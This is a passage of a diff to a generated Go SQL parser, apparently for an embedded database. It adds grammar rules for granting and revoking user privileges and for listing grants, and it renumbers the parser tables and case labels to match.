-14, -38, -11, 85, 103, -45, -39, -34, 53, - -47, 85, -47, -47, 104, -47, 33, -38, 85, -54, - 73, 66, 87, 87, 104, 104, 104, 104, -58, 96, - 26, -17, -10, -43, 56, -27, 104, 34, 96, 35, - -53, 72, 73, 106, 104, -15, 47, 104, 104, -40, - 54, 57, -51, -47, -11, -37, -38, 48, -49, 60, - -38, -13, -24, 26, 104, 96, 49, -44, 57, 96, - -38, -37, -45, -48, -20, -24, 96, -50, 61, 62, - -20, -50, + -1000, -1, -2, -3, -4, -5, -6, 41, 43, 44, + 4, 6, 5, 27, 36, 37, 45, 46, 49, 50, + -7, 81, 55, -62, 107, 42, 7, 23, 25, 24, + 8, 90, 7, 14, 23, 25, 8, 23, 8, -61, + 70, -60, 55, 4, 45, 50, 49, 5, 27, -61, + 47, 47, 57, -28, 90, 69, 82, 83, 23, 84, + 38, -25, 56, -2, -52, 73, -52, -52, 25, 90, + 90, -29, -30, 16, 17, 90, 26, 90, 90, 90, + 90, 26, 40, 101, 26, -28, -28, -28, 51, -26, + 70, 90, 39, -21, 104, -22, -20, -24, 97, 90, + 90, 71, 90, 26, -52, 9, -31, 19, 18, -32, + 20, -38, -41, -42, 71, 103, 74, -20, -18, 108, + 92, 93, 94, 95, 96, 79, -19, 85, 86, 78, + 90, -32, 90, 99, 28, 29, 5, 9, 7, -61, + 7, 108, 108, -39, 60, -57, -56, 90, -6, 90, + 57, 101, -47, 90, 68, -23, 100, 108, 99, 74, + 108, 90, 26, 10, -32, -32, -38, 102, 103, 105, + 104, 88, 89, 76, -55, 80, 71, -38, -38, 108, + -38, 108, 108, 108, 90, 31, 30, 31, 31, 32, + 10, 90, 90, -12, -10, 90, -10, -51, 6, -38, + -39, 101, 89, -27, -28, 108, 82, 83, 23, 84, + -19, 90, -20, 90, 100, 94, 104, -24, 90, -8, + -9, 90, 108, 90, 94, -38, -38, -38, -38, -38, + -38, 78, 71, 72, 75, 91, -6, 109, -38, -17, + -16, -38, -10, -9, 90, 90, 90, 90, 94, 30, + 30, 109, 101, 109, -44, 63, 25, -51, -56, -38, + -51, -29, -6, 15, 108, 108, 108, 108, -47, -47, + 94, 109, 109, 101, 91, -10, 108, -59, 11, 12, + 13, 78, -38, 108, 109, 68, 109, 101, 109, 30, + -59, 8, 8, 48, 90, 48, -45, 64, -38, 26, + -44, -33, -34, -35, -36, 87, -47, 109, 21, 109, + 109, 90, 109, -37, -9, 35, 32, -46, 110, 108, + 109, -10, -6, -16, 91, -38, 90, 90, 90, -14, + -15, 108, -14, -38, -11, 90, 108, -45, -39, -34, + 58, -47, 90, -47, -47, 109, -47, 33, -38, 90, + -54, 78, 71, 92, 92, 109, 109, 109, 109, -58, + 101, 26, -17, -10, -43, 61, -27, 109, 34, 101, + 35, -53, 77, 78, 111, 109, -15, 52, 109, 109, + -40, 59, 62, -51, -47, -11, -37, -38, 53, -49, + 65, -38, -13, -24, 26, 109, 101, 54, -44, 62, + 101, -38, -37, -45, -48, -20, -24, 101, -50, 66, + 67, -20, -50, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 83, 0, - 92, 2, 5, 9, 35, 35, 35, 0, 0, 14, - 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 114, 90, 85, 86, 0, 88, 0, 93, 3, - 0, 0, 0, 0, 35, 0, 15, 16, 119, 0, - 0, 18, 0, 0, 30, 0, 0, 0, 0, 131, - 0, 0, 91, 87, 0, 94, 95, 150, 98, 0, - 104, 13, 0, 0, 0, 0, 0, 115, 0, 0, - 117, 0, 123, -2, 157, 0, 0, 0, 164, 165, - 0, 61, 62, 63, 64, 65, 0, 67, 68, 69, - 70, 104, 118, 0, 0, 0, 0, 0, 0, 48, - 0, 143, 0, 131, 45, 0, 84, 0, 0, 96, - 151, 0, 99, 0, 0, 0, 36, 0, 0, 0, - 0, 120, 121, 122, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 169, 158, 159, 0, 0, 0, 57, - 0, 22, 0, 0, 0, 0, 0, 0, 0, 49, - 53, 0, 137, 0, 132, 143, 0, 0, 143, 116, - 0, 0, 0, 0, 0, 150, 114, 150, 152, 0, - 102, 0, 0, 105, 0, 72, 0, 0, 0, 31, - 170, 171, 172, 173, 174, 175, 176, 0, 0, 0, - 167, 0, 166, 0, 0, 58, 59, 0, 23, 24, - 0, 26, 27, 31, 0, 0, 0, 139, 0, 0, - 137, 46, 47, -2, 150, 0, 0, 0, 0, 0, - 0, 112, 97, 103, 100, 101, 153, 75, 0, 0, - 28, 32, 33, 34, 177, 160, 0, 161, 0, 71, - 0, 21, 0, 29, 0, 54, 0, 41, 0, 138, - 0, 139, 131, 125, -2, 0, 130, 106, 150, 0, - 150, 150, 0, 150, 0, 73, 0, 0, 80, 0, - 0, 19, 0, 0, 0, 0, 60, 25, 43, 50, - 57, 40, 140, 144, 37, 0, 42, 133, 127, 0, - 107, 0, 108, 109, 110, 111, 0, 0, 0, 78, - 81, 0, 0, 0, 20, 162, 163, 66, 39, 0, - 0, 0, 0, 135, 0, 143, 150, 0, 153, 0, - 74, 79, 82, 76, 77, 51, 0, 52, 38, 141, - 0, 0, 0, 113, 0, 154, 0, 0, 137, 0, - 136, 134, 55, 0, 17, 153, 44, 139, 0, 0, - 128, 155, 89, 142, 147, 56, 0, 145, 148, 149, - 147, 146, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 95, 0, 106, 2, 5, 9, 47, 47, 47, 0, + 0, 14, 0, 130, 0, 0, 0, 0, 0, 0, + 0, 34, 36, 37, 38, 39, 40, 41, 42, 0, + 0, 0, 0, 0, 128, 104, 97, 98, 0, 100, + 101, 0, 107, 3, 0, 0, 0, 0, 47, 0, + 15, 16, 133, 0, 0, 18, 0, 0, 30, 0, + 0, 0, 33, 0, 0, 0, 0, 145, 0, 0, + 105, 99, 0, 0, 108, 109, 164, 112, 0, 118, + 13, 0, 0, 0, 0, 0, 129, 0, 0, 131, + 0, 137, -2, 171, 0, 0, 0, 178, 179, 0, + 73, 74, 75, 76, 77, 0, 79, 80, 81, 82, + 118, 132, 0, 0, 0, 0, 0, 0, 0, 35, + 0, 60, 0, 157, 0, 145, 57, 0, 96, 102, + 0, 0, 110, 165, 0, 113, 0, 0, 0, 48, + 0, 0, 0, 0, 134, 135, 136, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 183, 172, 173, 0, + 0, 0, 69, 0, 22, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 61, 65, 0, 151, 0, 146, + 157, 0, 0, 157, 130, 0, 0, 0, 0, 0, + 164, 128, 164, 166, 0, 116, 0, 0, 119, 0, + 84, 0, 0, 0, 43, 184, 185, 186, 187, 188, + 189, 190, 0, 0, 0, 181, 0, 180, 0, 0, + 70, 71, 0, 23, 24, 0, 26, 27, 43, 0, + 0, 0, 0, 0, 153, 0, 0, 151, 58, 59, + -2, 164, 0, 0, 0, 0, 0, 0, 126, 111, + 117, 114, 115, 167, 87, 0, 0, 28, 44, 45, + 46, 191, 174, 0, 175, 0, 83, 0, 21, 0, + 29, 0, 0, 0, 66, 0, 53, 0, 152, 0, + 153, 145, 139, -2, 0, 144, 120, 164, 0, 164, + 164, 0, 164, 0, 85, 0, 0, 92, 0, 0, + 19, 0, 0, 0, 0, 72, 25, 31, 32, 55, + 62, 69, 52, 154, 158, 49, 0, 54, 147, 141, + 0, 121, 0, 122, 123, 124, 125, 0, 0, 0, + 90, 93, 0, 0, 0, 20, 176, 177, 78, 51, + 0, 0, 0, 0, 149, 0, 157, 164, 0, 167, + 0, 86, 91, 94, 88, 89, 63, 0, 64, 50, + 155, 0, 0, 0, 127, 0, 168, 0, 0, 151, + 0, 150, 148, 67, 0, 17, 167, 56, 153, 0, + 0, 142, 169, 103, 156, 161, 68, 0, 159, 162, + 163, 161, 160, } var yyTok1 = [...]int8{ @@ -522,12 +550,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 103, 104, 99, 97, 96, 98, 101, 100, 3, 3, + 108, 109, 104, 102, 101, 103, 106, 105, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 105, 3, 106, + 3, 110, 3, 111, } var yyTok2 = [...]int8{ @@ -540,7 +568,7 @@ var yyTok2 = [...]int8{ 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, - 92, 93, 94, 95, 102, + 92, 93, 94, 95, 96, 97, 98, 99, 100, 107, } var yyTok3 = [...]int8{ @@ -1013,271 +1041,331 @@ yydefault: yyVAL.stmt = &DropUserStmt{username: yyDollar[3].id} } case 31: + yyDollar = yyS[yypt-8 : yypt+1] + { + yyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].id, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges, isGrant: true} + } + case 32: + yyDollar = yyS[yypt-8 : yypt+1] + { + yyVAL.stmt = &AlterPrivilegesStmt{database: yyDollar[5].id, user: yyDollar[8].id, privileges: yyDollar[2].sqlPrivileges} + } + case 33: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.sqlPrivileges = allPrivileges + } + case 34: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivileges = []SQLPrivilege{yyDollar[1].sqlPrivilege} + } + case 35: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.sqlPrivileges = append(yyDollar[3].sqlPrivileges, yyDollar[1].sqlPrivilege) + } + case 36: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeSelect + } + case 37: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeCreate + } + case 38: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeInsert + } + case 39: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeUpdate + } + case 40: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeDelete + } + case 41: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeDrop + } + case 42: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.sqlPrivilege = SQLPrivilegeAlter + } + case 43: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.permission = PermissionReadWrite } - case 32: + case 44: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadOnly } - case 33: + case 45: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionReadWrite } - case 34: + case 46: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.permission = PermissionAdmin } - case 35: + case 47: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 36: + case 48: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 37: + case 49: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 38: + case 50: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 39: + case 51: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 40: + case 52: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 41: + case 53: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 42: + case 54: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 43: + case 55: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 44: + case 56: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 45: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 46: + case 58: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 47: + case 59: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 48: + case 60: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 49: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 50: + case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 51: + case 63: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 52: + case 64: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 53: + case 65: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 54: + case 66: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 55: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 56: + case 68: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 57: + case 69: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 58: + case 70: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 59: + case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 60: + case 72: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 61: + case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 62: + case 74: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 63: + case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 64: + case 76: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 65: + case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 66: + case 78: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 67: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 68: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 69: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 70: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 71: + case 83: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 72: + case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 73: + case 85: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 74: + case 86: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 75: + case 87: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 76: + case 88: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 77: + case 89: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 78: + case 90: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 79: + case 91: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 80: + case 92: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 81: + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 82: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 83: + case 95: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 84: + case 96: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1286,35 +1374,49 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 85: + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } - case 86: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } - case 87: + case 99: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}, } } - case 88: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } - case 89: + case 101: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants"}}, + } + } + case 102: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants", params: []ValueExp{&Varchar{val: yyDollar[4].id}}}}, + } + } + case 103: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1331,447 +1433,447 @@ yydefault: offset: yyDollar[13].exp, } } - case 90: + case 104: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 91: + case 105: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 92: + case 106: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 93: + case 107: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 94: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 95: + case 109: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 96: + case 110: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 97: + case 111: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 98: + case 112: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 99: + case 113: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} } - case 100: + case 114: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 101: + case 115: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 102: + case 116: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.jsonFields = []string{yyDollar[2].str} } - case 103: + case 117: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) } - case 104: + case 118: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 105: + case 119: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 106: + case 120: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 107: + case 121: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 108: + case 122: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 109: + case 123: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 110: + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 111: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 112: + case 126: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 113: + case 127: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 114: + case 128: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 115: + case 129: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 116: + case 130: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 117: + case 131: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 118: + case 132: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 119: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 120: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 121: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 122: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 123: + case 137: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 124: + case 138: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 125: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 126: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 127: + case 141: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 128: + case 142: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 129: + case 143: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 130: + case 144: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 131: + case 145: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 132: + case 146: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 133: + case 147: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 134: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 135: + case 149: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 136: + case 150: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 137: + case 151: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 138: + case 152: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 139: + case 153: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 140: + case 154: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 141: + case 155: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 142: + case 156: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 143: + case 157: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 144: + case 158: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 145: + case 159: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} } - case 146: + case 160: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) } - case 147: + case 161: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 148: + case 162: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 149: + case 163: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 150: + case 164: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 151: + case 165: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 152: + case 166: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 153: + case 167: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.checks = nil } - case 154: + case 168: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{exp: yyDollar[2].exp}}, yyDollar[4].checks...) } - case 155: + case 169: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) } - case 156: + case 170: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 157: + case 171: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 158: + case 172: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 159: + case 173: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 160: + case 174: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 161: + case 175: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 162: + case 176: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 163: + case 177: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 164: + case 178: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 165: + case 179: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 166: + case 180: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 167: + case 181: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 168: + case 182: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 169: + case 183: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 170: + case 184: yyDollar = 